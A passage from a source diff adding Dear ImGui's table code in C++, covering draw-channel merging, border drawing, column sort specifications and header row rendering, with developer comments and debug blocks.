overwrite ClipRect, +// actual merging is done by table->DrawSplitter.Merge() which is called right after TableMergeDrawChannels(). +// +// Columns where the contents didn't stray off their local clip rectangle can be merged. To achieve +// this we merge their clip rect and make them contiguous in the channel list, so they can be merged +// by the call to DrawSplitter.Merge() following to the call to this function. +// We reorder draw commands by arranging them into a maximum of 4 distinct groups: +// +// 1 group: 2 groups: 2 groups: 4 groups: +// [ 0. ] no freeze [ 0. ] row freeze [ 01 ] col freeze [ 01 ] row+col freeze +// [ .. ] or no scroll [ 2. ] and v-scroll [ .. ] and h-scroll [ 23 ] and v+h-scroll +// +// Each column itself can use 1 channel (row freeze disabled) or 2 channels (row freeze enabled). +// When the contents of a column didn't stray off its limit, we move its channels into the corresponding group +// based on its position (within frozen rows/columns groups or not). +// At the end of the operation our 1-4 groups will each have a ImDrawCmd using the same ClipRect. +// This function assume that each column are pointing to a distinct draw channel, +// otherwise merge_group->ChannelsCount will not match set bit count of merge_group->ChannelsMask. +// +// Column channels will not be merged into one of the 1-4 groups in the following cases: +// - The contents stray off its clipping rectangle (we only compare the MaxX value, not the MinX value). +// Direct ImDrawList calls won't be taken into account by default, if you use them make sure the ImGui:: bounds +// matches, by e.g. calling SetCursorScreenPos(). +// - The channel uses more than one draw command itself. We drop all our attempt at merging stuff here.. +// we could do better but it's going to be rare and probably not worth the hassle. +// Columns for which the draw channel(s) haven't been merged with other will use their own ImDrawCmd. +// +// This function is particularly tricky to understand.. take a breath. +void ImGui::TableMergeDrawChannels(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + ImDrawListSplitter* splitter = &table->DrawSplitter; + const bool has_freeze_v = (table->FreezeRowsCount > 0); + const bool has_freeze_h = (table->FreezeColumnsCount > 0); + IM_ASSERT(splitter->_Current == 0); + + // Track which groups we are going to attempt to merge, and which channels goes into each group. + struct MergeGroup + { + ImRect ClipRect; + int ChannelsCount; + ImBitArray ChannelsMask; + }; + int merge_group_mask = 0x00; + MergeGroup merge_groups[4]; + memset(merge_groups, 0, sizeof(merge_groups)); + + // 1. Scan channels and take note of those which can be merged + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + if ((table->VisibleMaskByIndex & ((ImU64)1 << column_n)) == 0) + continue; + ImGuiTableColumn* column = &table->Columns[column_n]; + + const int merge_group_sub_count = has_freeze_v ? 2 : 1; + for (int merge_group_sub_n = 0; merge_group_sub_n < merge_group_sub_count; merge_group_sub_n++) + { + const int channel_no = (merge_group_sub_n == 0) ? column->DrawChannelFrozen : column->DrawChannelUnfrozen; + + // Don't attempt to merge if there are multiple draw calls within the column + ImDrawChannel* src_channel = &splitter->_Channels[channel_no]; + if (src_channel->_CmdBuffer.Size > 0 && src_channel->_CmdBuffer.back().ElemCount == 0) + src_channel->_CmdBuffer.pop_back(); + if (src_channel->_CmdBuffer.Size != 1) + continue; + + // Find out the width of this merge group and check if it will fit in our column + // (note that we assume that rendering didn't stray on the left direction. we should need a CursorMinPos to detect it) + if (!(column->Flags & ImGuiTableColumnFlags_NoClip)) + { + float content_max_x; + if (!has_freeze_v) + content_max_x = ImMax(column->ContentMaxXUnfrozen, column->ContentMaxXHeadersUsed); // No row freeze + else if (merge_group_sub_n == 0) + content_max_x = ImMax(column->ContentMaxXFrozen, column->ContentMaxXHeadersUsed); // Row freeze: use width before freeze + else + content_max_x = column->ContentMaxXUnfrozen; // Row freeze: use width after freeze + if (content_max_x > column->ClipRect.Max.x) + continue; + } + + const int merge_group_n = (has_freeze_h && column_n < table->FreezeColumnsCount ? 0 : 1) + (has_freeze_v && merge_group_sub_n == 0 ? 0 : 2); + IM_ASSERT(channel_no < IMGUI_TABLE_MAX_DRAW_CHANNELS); + MergeGroup* merge_group = &merge_groups[merge_group_n]; + if (merge_group->ChannelsCount == 0) + merge_group->ClipRect = ImRect(+FLT_MAX, +FLT_MAX, -FLT_MAX, -FLT_MAX); + merge_group->ChannelsMask.SetBit(channel_no); + merge_group->ChannelsCount++; + merge_group->ClipRect.Add(src_channel->_CmdBuffer[0].ClipRect); + merge_group_mask |= (1 << merge_group_n); + } + + // Invalidate current draw channel + // (we don't clear DrawChannelFrozen/DrawChannelUnfrozen solely to facilitate debugging/later inspection of data) + column->DrawChannelCurrent = (ImGuiTableDrawChannelIdx)-1; + } + + // [DEBUG] Display merge groups +#if 0 + if (g.IO.KeyShift) + for (int merge_group_n = 0; merge_group_n < IM_ARRAYSIZE(merge_groups); merge_group_n++) + { + MergeGroup* merge_group = &merge_groups[merge_group_n]; + if (merge_group->ChannelsCount == 0) + continue; + char buf[32]; + ImFormatString(buf, 32, "MG%d:%d", merge_group_n, merge_group->ChannelsCount); + ImVec2 text_pos = merge_group->ClipRect.Min + ImVec2(4, 4); + ImVec2 text_size = CalcTextSize(buf, NULL); + GetForegroundDrawList()->AddRectFilled(text_pos, text_pos + text_size, IM_COL32(0, 0, 0, 255)); + GetForegroundDrawList()->AddText(text_pos, IM_COL32(255, 255, 0, 255), buf, NULL); + GetForegroundDrawList()->AddRect(merge_group->ClipRect.Min, merge_group->ClipRect.Max, IM_COL32(255, 255, 0, 255)); + } +#endif + + // 2. Rewrite channel list in our preferred order + if (merge_group_mask != 0) + { + // We skip channel 0 (Bg0/Bg1) and 1 (Bg2 frozen) from the shuffling since they won't move - see channels allocation in TableSetupDrawChannels(). + const int LEADING_DRAW_CHANNELS = 2; + g.DrawChannelsTempMergeBuffer.resize(splitter->_Count - LEADING_DRAW_CHANNELS); // Use shared temporary storage so the allocation gets amortized + ImDrawChannel* dst_tmp = g.DrawChannelsTempMergeBuffer.Data; + ImBitArray remaining_mask; // We need 132-bit of storage + remaining_mask.ClearBits(); + remaining_mask.SetBitRange(LEADING_DRAW_CHANNELS, splitter->_Count - 1); + remaining_mask.ClearBit(table->Bg2DrawChannelUnfrozen); + IM_ASSERT(has_freeze_v == false || table->Bg2DrawChannelUnfrozen != TABLE_DRAW_CHANNEL_BG2_FROZEN); + int remaining_count = splitter->_Count - (has_freeze_v ? LEADING_DRAW_CHANNELS + 1 : LEADING_DRAW_CHANNELS); + //ImRect host_rect = (table->InnerWindow == table->OuterWindow) ? table->InnerClipRect : table->HostClipRect; + ImRect host_rect = table->HostClipRect; + for (int merge_group_n = 0; merge_group_n < IM_ARRAYSIZE(merge_groups); merge_group_n++) + { + if (int merge_channels_count = merge_groups[merge_group_n].ChannelsCount) + { + MergeGroup* merge_group = &merge_groups[merge_group_n]; + ImRect merge_clip_rect = merge_group->ClipRect; + + // Extend outer-most clip limits to match those of host, so draw calls can be merged even if + // outer-most columns have some outer padding offsetting them from their parent ClipRect. + // The principal cases this is dealing with are: + // - On a same-window table (not scrolling = single group), all fitting columns ClipRect -> will extend and match host ClipRect -> will merge + // - Columns can use padding and have left-most ClipRect.Min.x and right-most ClipRect.Max.x != from host ClipRect -> will extend and match host ClipRect -> will merge + // FIXME-TABLE FIXME-WORKRECT: We are wasting a merge opportunity on tables without scrolling if column doesn't fit + // within host clip rect, solely because of the half-padding difference between window->WorkRect and window->InnerClipRect. + if ((merge_group_n & 1) == 0 || !has_freeze_h) + merge_clip_rect.Min.x = ImMin(merge_clip_rect.Min.x, host_rect.Min.x); + if ((merge_group_n & 2) == 0 || !has_freeze_v) + merge_clip_rect.Min.y = ImMin(merge_clip_rect.Min.y, host_rect.Min.y); + if ((merge_group_n & 1) != 0) + merge_clip_rect.Max.x = ImMax(merge_clip_rect.Max.x, host_rect.Max.x); + if ((merge_group_n & 2) != 0 && (table->Flags & ImGuiTableFlags_NoHostExtendY) == 0) + merge_clip_rect.Max.y = ImMax(merge_clip_rect.Max.y, host_rect.Max.y); +#if 0 + GetOverlayDrawList()->AddRect(merge_group->ClipRect.Min, merge_group->ClipRect.Max, IM_COL32(255, 0, 0, 200), 0.0f, ~0, 1.0f); + GetOverlayDrawList()->AddLine(merge_group->ClipRect.Min, merge_clip_rect.Min, IM_COL32(255, 100, 0, 200)); + GetOverlayDrawList()->AddLine(merge_group->ClipRect.Max, merge_clip_rect.Max, IM_COL32(255, 100, 0, 200)); +#endif + remaining_count -= merge_group->ChannelsCount; + for (int n = 0; n < IM_ARRAYSIZE(remaining_mask.Storage); n++) + remaining_mask.Storage[n] &= ~merge_group->ChannelsMask.Storage[n]; + for (int n = 0; n < splitter->_Count && merge_channels_count != 0; n++) + { + // Copy + overwrite new clip rect + if (!merge_group->ChannelsMask.TestBit(n)) + continue; + merge_group->ChannelsMask.ClearBit(n); + merge_channels_count--; + + ImDrawChannel* channel = &splitter->_Channels[n]; + IM_ASSERT(channel->_CmdBuffer.Size == 1 && merge_clip_rect.Contains(ImRect(channel->_CmdBuffer[0].ClipRect))); + channel->_CmdBuffer[0].ClipRect = merge_clip_rect.ToVec4(); + memcpy(dst_tmp++, channel, sizeof(ImDrawChannel)); + } + } + + // Make sure Bg2DrawChannelUnfrozen appears in the middle of our groups (whereas Bg0/Bg1 and Bg2 frozen are fixed to 0 and 1) + if (merge_group_n == 1 && has_freeze_v) + memcpy(dst_tmp++, &splitter->_Channels[table->Bg2DrawChannelUnfrozen], sizeof(ImDrawChannel)); + } + + // Append unmergeable channels that we didn't reorder at the end of the list + for (int n = 0; n < splitter->_Count && remaining_count != 0; n++) + { + if (!remaining_mask.TestBit(n)) + continue; + ImDrawChannel* channel = &splitter->_Channels[n]; + memcpy(dst_tmp++, channel, sizeof(ImDrawChannel)); + remaining_count--; + } + IM_ASSERT(dst_tmp == g.DrawChannelsTempMergeBuffer.Data + g.DrawChannelsTempMergeBuffer.Size); + memcpy(splitter->_Channels.Data + LEADING_DRAW_CHANNELS, g.DrawChannelsTempMergeBuffer.Data, (splitter->_Count - LEADING_DRAW_CHANNELS) * sizeof(ImDrawChannel)); + } +} + +// FIXME-TABLE: This is a mess, need to redesign how we render borders (as some are also done in TableEndRow) +void ImGui::TableDrawBorders(ImGuiTable* table) +{ + ImGuiWindow* inner_window = table->InnerWindow; + if (inner_window->Hidden || !table->HostClipRect.Overlaps(table->InnerClipRect)) + return; + + ImDrawList* inner_drawlist = inner_window->DrawList; + table->DrawSplitter.SetCurrentChannel(inner_drawlist, TABLE_DRAW_CHANNEL_BG0); + inner_drawlist->PushClipRect(table->Bg0ClipRectForDrawCmd.Min, table->Bg0ClipRectForDrawCmd.Max, false); + + // Draw inner border and resizing feedback + const float border_size = TABLE_BORDER_SIZE; + const float draw_y1 = table->InnerRect.Min.y; + const float draw_y2_body = table->InnerRect.Max.y; + const float draw_y2_head = table->IsUsingHeaders ? ((table->FreezeRowsCount >= 1 ? table->OuterRect.Min.y : table->WorkRect.Min.y) + table->LastFirstRowHeight) : draw_y1; + if (table->Flags & ImGuiTableFlags_BordersInnerV) + { + for (int order_n = 0; order_n < table->ColumnsCount; order_n++) + { + if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) + continue; + + const int column_n = table->DisplayOrderToIndex[order_n]; + ImGuiTableColumn* column = &table->Columns[column_n]; + const bool is_hovered = (table->HoveredColumnBorder == column_n); + const bool is_resized = (table->ResizedColumn == column_n) && (table->InstanceInteracted == table->InstanceCurrent); + const bool is_resizable = (column->Flags & (ImGuiTableColumnFlags_NoResize | ImGuiTableColumnFlags_NoDirectResize_)) == 0; + const bool is_frozen_separator = (table->FreezeColumnsCount != -1 && table->FreezeColumnsCount == order_n + 1); + + if (column->MaxX > table->InnerClipRect.Max.x && !is_resized)// && is_hovered) + continue; + if (column->NextEnabledColumn == -1 && !is_resizable && (table->Flags & ImGuiTableFlags_SameWidths) == 0) + continue; + if (column->MaxX <= column->ClipRect.Min.x) // FIXME-TABLE FIXME-STYLE: Assume BorderSize==1, this is problematic if we want to increase the border size.. + continue; + + // Draw in outer window so right-most column won't be clipped + // Always draw full height border when being resized/hovered, or on the delimitation of frozen column scrolling. + ImU32 col; + float draw_y2; + if (is_hovered || is_resized || is_frozen_separator) + { + draw_y2 = draw_y2_body; + col = is_resized ? GetColorU32(ImGuiCol_SeparatorActive) : is_hovered ? GetColorU32(ImGuiCol_SeparatorHovered) : table->BorderColorStrong; + } + else + { + draw_y2 = (table->Flags & (ImGuiTableFlags_NoBordersInBody | ImGuiTableFlags_NoBordersInBodyUntilResize)) ? draw_y2_head : draw_y2_body; + col = (table->Flags & (ImGuiTableFlags_NoBordersInBody | ImGuiTableFlags_NoBordersInBodyUntilResize)) ? table->BorderColorStrong : table->BorderColorLight; + } + + if (draw_y2 > draw_y1) + inner_drawlist->AddLine(ImVec2(column->MaxX, draw_y1), ImVec2(column->MaxX, draw_y2), col, border_size); + } + } + + // Draw outer border + // FIXME: could use AddRect or explicit VLine/HLine helper? + if (table->Flags & ImGuiTableFlags_BordersOuter) + { + // Display outer border offset by 1 which is a simple way to display it without adding an extra draw call + // (Without the offset, in outer_window it would be rendered behind cells, because child windows are above their + // parent. In inner_window, it won't reach out over scrollbars. Another weird solution would be to display part + // of it in inner window, and the part that's over scrollbars in the outer window..) + // Either solution currently won't allow us to use a larger border size: the border would clipped. + const ImRect outer_border = table->OuterRect; + const ImU32 outer_col = table->BorderColorStrong; + if ((table->Flags & ImGuiTableFlags_BordersOuter) == ImGuiTableFlags_BordersOuter) + { + inner_drawlist->AddRect(outer_border.Min, outer_border.Max, outer_col, 0.0f, ~0, border_size); + } + else if (table->Flags & ImGuiTableFlags_BordersOuterV) + { + inner_drawlist->AddLine(outer_border.Min, ImVec2(outer_border.Min.x, outer_border.Max.y), outer_col, border_size); + inner_drawlist->AddLine(ImVec2(outer_border.Max.x, outer_border.Min.y), outer_border.Max, outer_col, border_size); + } + else if (table->Flags & ImGuiTableFlags_BordersOuterH) + { + inner_drawlist->AddLine(outer_border.Min, ImVec2(outer_border.Max.x, outer_border.Min.y), outer_col, border_size); + inner_drawlist->AddLine(ImVec2(outer_border.Min.x, outer_border.Max.y), outer_border.Max, outer_col, border_size); + } + } + if ((table->Flags & ImGuiTableFlags_BordersInnerH) && table->RowPosY2 < table->OuterRect.Max.y) + { + // Draw bottom-most row border + const float border_y = table->RowPosY2; + if (border_y >= table->BgClipRect.Min.y && border_y < table->BgClipRect.Max.y) + inner_drawlist->AddLine(ImVec2(table->BorderX1, border_y), ImVec2(table->BorderX2, border_y), table->BorderColorLight, border_size); + } + + inner_drawlist->PopClipRect(); +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Sorting +//------------------------------------------------------------------------- +// - TableGetSortSpecs() +// - TableFixColumnSortDirection() [Internal] +// - TableGetColumnNextSortDirection() [Internal] +// - TableSetColumnSortDirection() [Internal] +// - TableSortSpecsSanitize() [Internal] +// - TableSortSpecsBuild() [Internal] +//------------------------------------------------------------------------- + +// Return NULL if no sort specs (most often when ImGuiTableFlags_Sortable is not set) +// You can sort your data again when 'SpecsChanged == true'. It will be true with sorting specs have changed since +// last call, or the first time. +// Lifetime: don't hold on this pointer over multiple frames or past any subsequent call to BeginTable()! +ImGuiTableSortSpecs* ImGui::TableGetSortSpecs() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL); + + if (!(table->Flags & ImGuiTableFlags_Sortable)) + return NULL; + + // Require layout (in case TableHeadersRow() hasn't been called) as it may alter IsSortSpecsDirty in some paths. + if (!table->IsLayoutLocked) + TableUpdateLayout(table); + + if (table->IsSortSpecsDirty) + TableSortSpecsBuild(table); + + return &table->SortSpecs; +} + +static inline ImGuiSortDirection TableGetColumnAvailSortDirection(ImGuiTableColumn* column, int n) +{ + IM_ASSERT(n < column->SortDirectionsAvailCount); + return (column->SortDirectionsAvailList >> (n << 1)) & 0x03; +} + +// Fix sort direction if currently set on a value which is unavailable (e.g. activating NoSortAscending/NoSortDescending) +void ImGui::TableFixColumnSortDirection(ImGuiTable* table, ImGuiTableColumn* column) +{ + if (column->SortOrder == -1 || (column->SortDirectionsAvailMask & (1 << column->SortDirection)) != 0) + return; + column->SortDirection = (ImU8)TableGetColumnAvailSortDirection(column, 0); + table->IsSortSpecsDirty = true; +} + +// Calculate next sort direction that would be set after clicking the column +// - If the PreferSortDescending flag is set, we will default to a Descending direction on the first click. +// - Note that the PreferSortAscending flag is never checked, it is essentially the default and therefore a no-op. +IM_STATIC_ASSERT(ImGuiSortDirection_None == 0 && ImGuiSortDirection_Ascending == 1 && ImGuiSortDirection_Descending == 2); +ImGuiSortDirection ImGui::TableGetColumnNextSortDirection(ImGuiTableColumn* column) +{ + IM_ASSERT(column->SortDirectionsAvailCount > 0); + if (column->SortOrder == -1) + return TableGetColumnAvailSortDirection(column, 0); + for (int n = 0; n < 3; n++) + if (column->SortDirection == TableGetColumnAvailSortDirection(column, n)) + return TableGetColumnAvailSortDirection(column, (n + 1) % column->SortDirectionsAvailCount); + IM_ASSERT(0); + return ImGuiSortDirection_None; +} + +// Note that the NoSortAscending/NoSortDescending flags are processed in TableSortSpecsSanitize(), and they may change/revert +// the value of SortDirection. We could technically also do it here but it would be unnecessary and duplicate code. +void ImGui::TableSetColumnSortDirection(int column_n, ImGuiSortDirection sort_direction, bool append_to_sort_specs) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + + if (!(table->Flags & ImGuiTableFlags_SortMulti)) + append_to_sort_specs = false; + if (!(table->Flags & ImGuiTableFlags_SortTristate)) + IM_ASSERT(sort_direction != ImGuiSortDirection_None); + + ImGuiTableColumnIdx sort_order_max = 0; + if (append_to_sort_specs) + for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) + sort_order_max = ImMax(sort_order_max, table->Columns[other_column_n].SortOrder); + + ImGuiTableColumn* column = &table->Columns[column_n]; + column->SortDirection = (ImU8)sort_direction; + if (column->SortDirection == ImGuiSortDirection_None) + column->SortOrder = -1; + else if (column->SortOrder == -1 || !append_to_sort_specs) + column->SortOrder = append_to_sort_specs ? sort_order_max + 1 : 0; + + for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) + { + ImGuiTableColumn* other_column = &table->Columns[other_column_n]; + if (other_column != column && !append_to_sort_specs) + other_column->SortOrder = -1; + TableFixColumnSortDirection(table, other_column); + } + table->IsSettingsDirty = true; + table->IsSortSpecsDirty = true; +} + +void ImGui::TableSortSpecsSanitize(ImGuiTable* table) +{ + IM_ASSERT(table->Flags & ImGuiTableFlags_Sortable); + + // Clear SortOrder from hidden column and verify that there's no gap or duplicate. + int sort_order_count = 0; + ImU64 sort_order_mask = 0x00; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->SortOrder != -1 && !column->IsEnabled) + column->SortOrder = -1; + if (column->SortOrder == -1) + continue; + sort_order_count++; + sort_order_mask |= ((ImU64)1 << column->SortOrder); + IM_ASSERT(sort_order_count < (int)sizeof(sort_order_mask) * 8); + } + + const bool need_fix_linearize = ((ImU64)1 << sort_order_count) != (sort_order_mask + 1); + const bool need_fix_single_sort_order = (sort_order_count > 1) && !(table->Flags & ImGuiTableFlags_SortMulti); + if (need_fix_linearize || need_fix_single_sort_order) + { + ImU64 fixed_mask = 0x00; + for (int sort_n = 0; sort_n < sort_order_count; sort_n++) + { + // Fix: Rewrite sort order fields if needed so they have no gap or duplicate. + // (e.g. SortOrder 0 disappeared, SortOrder 1..2 exists --> rewrite then as SortOrder 0..1) + int column_with_smallest_sort_order = -1; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + if ((fixed_mask & ((ImU64)1 << (ImU64)column_n)) == 0 && table->Columns[column_n].SortOrder != -1) + if (column_with_smallest_sort_order == -1 || table->Columns[column_n].SortOrder < table->Columns[column_with_smallest_sort_order].SortOrder) + column_with_smallest_sort_order = column_n; + IM_ASSERT(column_with_smallest_sort_order != -1); + fixed_mask |= ((ImU64)1 << column_with_smallest_sort_order); + table->Columns[column_with_smallest_sort_order].SortOrder = (ImGuiTableColumnIdx)sort_n; + + // Fix: Make sure only one column has a SortOrder if ImGuiTableFlags_MultiSortable is not set. + if (need_fix_single_sort_order) + { + sort_order_count = 1; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + if (column_n != column_with_smallest_sort_order) + table->Columns[column_n].SortOrder = -1; + break; + } + } + } + + // Fallback default sort order (if no column had the ImGuiTableColumnFlags_DefaultSort flag) + if (sort_order_count == 0 && !(table->Flags & ImGuiTableFlags_SortTristate)) + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->IsEnabled && !(column->Flags & ImGuiTableColumnFlags_NoSort)) + { + sort_order_count = 1; + column->SortOrder = 0; + column->SortDirection = (ImU8)TableGetColumnAvailSortDirection(column, 0); + break; + } + } + + table->SortSpecsCount = (ImGuiTableColumnIdx)sort_order_count; +} + +void ImGui::TableSortSpecsBuild(ImGuiTable* table) +{ + IM_ASSERT(table->IsSortSpecsDirty); + TableSortSpecsSanitize(table); + + // Write output + table->SortSpecsMulti.resize(table->SortSpecsCount <= 1 ? 0 : table->SortSpecsCount); + ImGuiTableColumnSortSpecs* sort_specs = (table->SortSpecsCount == 0) ? NULL : (table->SortSpecsCount == 1) ? &table->SortSpecsSingle : table->SortSpecsMulti.Data; + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + { + ImGuiTableColumn* column = &table->Columns[column_n]; + if (column->SortOrder == -1) + continue; + IM_ASSERT(column->SortOrder < table->SortSpecsCount); + ImGuiTableColumnSortSpecs* sort_spec = &sort_specs[column->SortOrder]; + sort_spec->ColumnUserID = column->UserID; + sort_spec->ColumnIndex = (ImGuiTableColumnIdx)column_n; + sort_spec->SortOrder = (ImGuiTableColumnIdx)column->SortOrder; + sort_spec->SortDirection = column->SortDirection; + } + table->SortSpecs.Specs = sort_specs; + table->SortSpecs.SpecsCount = table->SortSpecsCount; + table->SortSpecs.SpecsDirty = true; // Mark as dirty for user + table->IsSortSpecsDirty = false; // Mark as not dirty for us +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Headers +//------------------------------------------------------------------------- +// - TableGetHeaderRowHeight() [Internal] +// - TableHeadersRow() +// - TableHeader() +//------------------------------------------------------------------------- + +float ImGui::TableGetHeaderRowHeight() +{ + // Caring for a minor edge case: + // Calculate row height, for the unlikely case that some labels may be taller than others. + // If we didn't do that, uneven header height would highlight but smaller one before the tallest wouldn't catch input for all height. + // In your custom header row you may omit this all together and just call TableNextRow() without a height... + float row_height = GetTextLineHeight(); + int columns_count = TableGetColumnCount(); + for (int column_n = 0; column_n < columns_count; column_n++) + if (TableGetColumnFlags(column_n) & ImGuiTableColumnFlags_IsEnabled) + row_height = ImMax(row_height, CalcTextSize(TableGetColumnName(column_n)).y); + row_height += GetStyle().CellPadding.y * 2.0f; + return row_height; +} + +// [Public] This is a helper to output TableHeader() calls based on the column names declared in TableSetupColumn(). +// The intent is that advanced users willing to create customized headers would not need to use this helper +// and can create their own! For example: TableHeader() may be preceeded by Checkbox() or other custom widgets. +// See 'Demo->Tables->Custom headers' for a demonstration of implementing a custom version of this. +// This code is constructed to not make much use of internal functions, as it is intended to be a template to copy. +// FIXME-TABLE: TableOpenContextMenu() and TableGetHeaderRowHeight() are not public. +void ImGui::TableHeadersRow() +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && "Need to call TableHeadersRow() after BeginTable()!"); + + // Open row + const float row_y1 = GetCursorScreenPos().y; + const float row_height = TableGetHeaderRowHeight(); + TableNextRow(ImGuiTableRowFlags_Headers, row_height); + if (table->HostSkipItems) // Merely an optimization, you may skip in your own code. + return; + + const int columns_count = TableGetColumnCount(); + for (int column_n = 0; column_n < columns_count; column_n++) + { + if (!TableSetColumnIndex(column_n)) + continue; + + // Push an id to allow unnamed labels (generally accidental, but let's behave nicely with them) + // - in your own code you may omit the PushID/PopID all-together, provided you know they won't collide + // - table->InstanceCurrent is only >0 when we use multiple BeginTable/EndTable calls with same identifier. + const char* name = TableGetColumnName(column_n); + PushID(table->InstanceCurrent * table->ColumnsCount + column_n); + TableHeader(name); + PopID(); + } + + // Allow opening popup from the right-most section after the last column. + ImVec2 mouse_pos = ImGui::GetMousePos(); + if (IsMouseReleased(1) && TableGetHoveredColumn() == columns_count) + if (mouse_pos.y >= row_y1 && mouse_pos.y < row_y1 + row_height) + TableOpenContextMenu(-1); // Will open a non-column-specific popup. +} + +// Emit a column header (text + optional sort order) +// We cpu-clip text here so that all columns headers can be merged into a same draw call. +// Note that because of how we cpu-clip and display sorting indicators, you _cannot_ use SameLine() after a TableHeader() +void ImGui::TableHeader(const char* label) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + ImGuiTable* table = g.CurrentTable; + IM_ASSERT(table != NULL && "Need to call TableHeader() after BeginTable()!"); + IM_ASSERT(table->CurrentColumn != -1); + const int column_n = table->CurrentColumn; + ImGuiTableColumn* column = &table->Columns[column_n]; + + // Label + if (label == NULL) + label = ""; + const char* label_end = FindRenderedTextEnd(label); + ImVec2 label_size = CalcTextSize(label, label_end, true); + ImVec2 label_pos = window->DC.CursorPos; + + // If we already got a row height, there's use that. + // FIXME-TABLE: Padding problem if the correct outer-padding CellBgRect strays off our ClipRect? + ImRect cell_r = TableGetCellBgRect(table, column_n); + float label_height = ImMax(label_size.y, table->RowMinHeight - table->CellPaddingY * 2.0f); + + // Calculate ideal size for sort order arrow + float w_arrow = 0.0f; + float w_sort_text = 0.0f; + char sort_order_suf[4] = ""; + const float ARROW_SCALE = 0.65f; + if ((table->Flags & ImGuiTableFlags_Sortable) && !(column->Flags & ImGuiTableColumnFlags_NoSort)) + { + w_arrow = ImFloor(g.FontSize * ARROW_SCALE + g.Style.FramePadding.x); + if (column->SortOrder > 0) + { + ImFormatString(sort_order_suf, IM_ARRAYSIZE(sort_order_suf), "%d", column->SortOrder + 1); + w_sort_text = g.Style.ItemInnerSpacing.x + CalcTextSize(sort_order_suf).x; + } + } + + // We feed our unclipped width to the column without writing on CursorMaxPos, so that column is still considering for merging. + float max_pos_x = label_pos.x + label_size.x + w_sort_text + w_arrow; + column->ContentMaxXHeadersUsed = ImMax(column->ContentMaxXHeadersUsed, column->WorkMaxX); + column->ContentMaxXHeadersIdeal = ImMax(column->ContentMaxXHeadersIdeal, max_pos_x); + + // Keep header highlighted when context menu is open. + const bool selected = (table->IsContextPopupOpen && table->ContextPopupColumn == column_n && table->InstanceInteracted == table->InstanceCurrent); + ImGuiID id = window->GetID(label); + ImRect bb(cell_r.Min.x, cell_r.Min.y, cell_r.Max.x, ImMax(cell_r.Max.y, cell_r.Min.y + label_height + g.Style.CellPadding.y * 2.0f)); + ItemSize(ImVec2(0.0f, label_height)); // Don't declare unclipped width, it'll be fed ContentMaxPosHeadersIdeal + if (!ItemAdd(bb, id)) + return; + + //GetForegroundDrawList()->AddRect(cell_r.Min, cell_r.Max, IM_COL32(255, 0, 0, 255)); // [DEBUG] + //GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(255, 0, 0, 255)); // [DEBUG] + + // Using AllowItemOverlap mode because we cover the whole cell, and we want user to be able to submit subsequent items. + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_AllowItemOverlap); + if (g.ActiveId != id) + SetItemAllowOverlap(); + if (held || hovered || selected) + { + const ImU32 col = GetColorU32(held ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + //RenderFrame(bb.Min, bb.Max, col, false, 0.0f); + TableSetBgColor(ImGuiTableBgTarget_CellBg, col, table->CurrentColumn); + RenderNavHighlight(bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); + } + else + { + // Submit single cell bg color in the case we didn't submit a full header row + if ((table->RowFlags & ImGuiTableRowFlags_Headers) == 0) + TableSetBgColor(ImGuiTableBgTarget_CellBg, GetColorU32(ImGuiCol_TableHeaderBg), table->CurrentColumn); + } + if (held) + table->HeldHeaderColumn = (ImGuiTableColumnIdx)column_n; + window->DC.CursorPos.y -= g.Style.ItemSpacing.y * 0.5f; + + // Drag and drop to re-order columns. + // FIXME-TABLE: Scroll request while reordering a column and it lands out of the scrolling zone. + if (held && (table->Flags & ImGuiTableFlags_Reorderable) && IsMouseDragging(0) && !g.DragDropActive) + { + // While moving a column it will jump on the other side of the mouse, so we also test for MouseDelta.x + table->ReorderColumn = (ImGuiTableColumnIdx)column_n; + table->InstanceInteracted = table->InstanceCurrent; + + // We don't reorder: through the frozen<>unfrozen line, or through a column that is marked with ImGuiTableColumnFlags_NoReorder. + if (g.IO.MouseDelta.x < 0.0f && g.IO.MousePos.x < cell_r.Min.x) + if (ImGuiTableColumn* prev_column = (column->PrevEnabledColumn != -1) ? &table->Columns[column->PrevEnabledColumn] : NULL) + if (!((column->Flags | prev_column->Flags) & ImGuiTableColumnFlags_NoReorder)) + if ((column->IndexWithinEnabledSet < table->FreezeColumnsRequest) == (prev_column->IndexWithinEnabledSet < table->FreezeColumnsRequest)) + table->ReorderColumnDir = -1; + if (g.IO.MouseDelta.x > 0.0f && g.IO.MousePos.x > cell_r.Max.x) + if (ImGuiTableColumn* next_column = (column->NextEnabledColumn != -1) ? &table->Columns[column->NextEnabledColumn] : NULL) + if (!((column->Flags | next_column->Flags) & ImGuiTableColumnFlags_NoReorder)) + if ((column->IndexWithinEnabledSet < table->FreezeColumnsRequest) == (next_column->IndexWithinEnabledSet < table->FreezeColumnsRequest)) + table->ReorderColumnDir = +1; + } + + // Sort order arrow + const float ellipsis_max = cell_r.Max.x - w_arrow - w_sort_text; + if ((table->Flags & ImGuiTableFlags_Sortable) && !(column->Flags & ImGuiTableColumnFlags_NoSort)) + { + if (column->SortOrder != -1) + { + float x = ImMax(cell_r.Min.x, cell_r.Max.x - w_arrow - 